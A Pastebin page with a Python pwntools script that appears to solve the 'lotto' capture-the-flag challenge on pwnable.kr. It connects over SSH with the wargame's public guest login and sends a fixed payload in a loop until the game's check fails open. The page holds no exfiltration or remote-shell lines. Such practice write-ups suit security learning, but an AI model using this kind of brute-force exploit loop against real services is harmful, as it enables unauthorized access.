Advertisement
Guest User

Untitled

a guest
Jul 3rd, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. from pwn import *
  2. import time
  3.  
  4. #context.log_level = 'debug'
  5.  
  6. sh = ssh(host = 'pwnable.kr', port = 2222, user = 'lotto', password = 'guest')
  7. #s = sh.download_file('lotto')
  8. elf = ELF('./lotto')
  9. s = sh.process('./lotto')
  10.  
  11. #s = process('./lotto')
  12. cnt = 1
  13. while True:
  14. s.recv(4096)
  15. s.sendline('2')
  16. #log.info(s.recv(4096))
  17. s.sendline('1')
  18. s.recv(4096)
  19. payload = ''
  20. payload += '!#$%^&'
  21. s.sendline(payload)
  22.  
  23. s.recvuntil('\n')
  24. res = s.recvuntil('\n')[:-1]
  25. log.info('try(%d) times : <%s>' %(cnt, res))
  26. cnt += 1
  27.  
  28. if res != 'bad luck...':
  29. log.success(s.recvline())
  30. break
  31.  
  32. time.sleep(0.1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement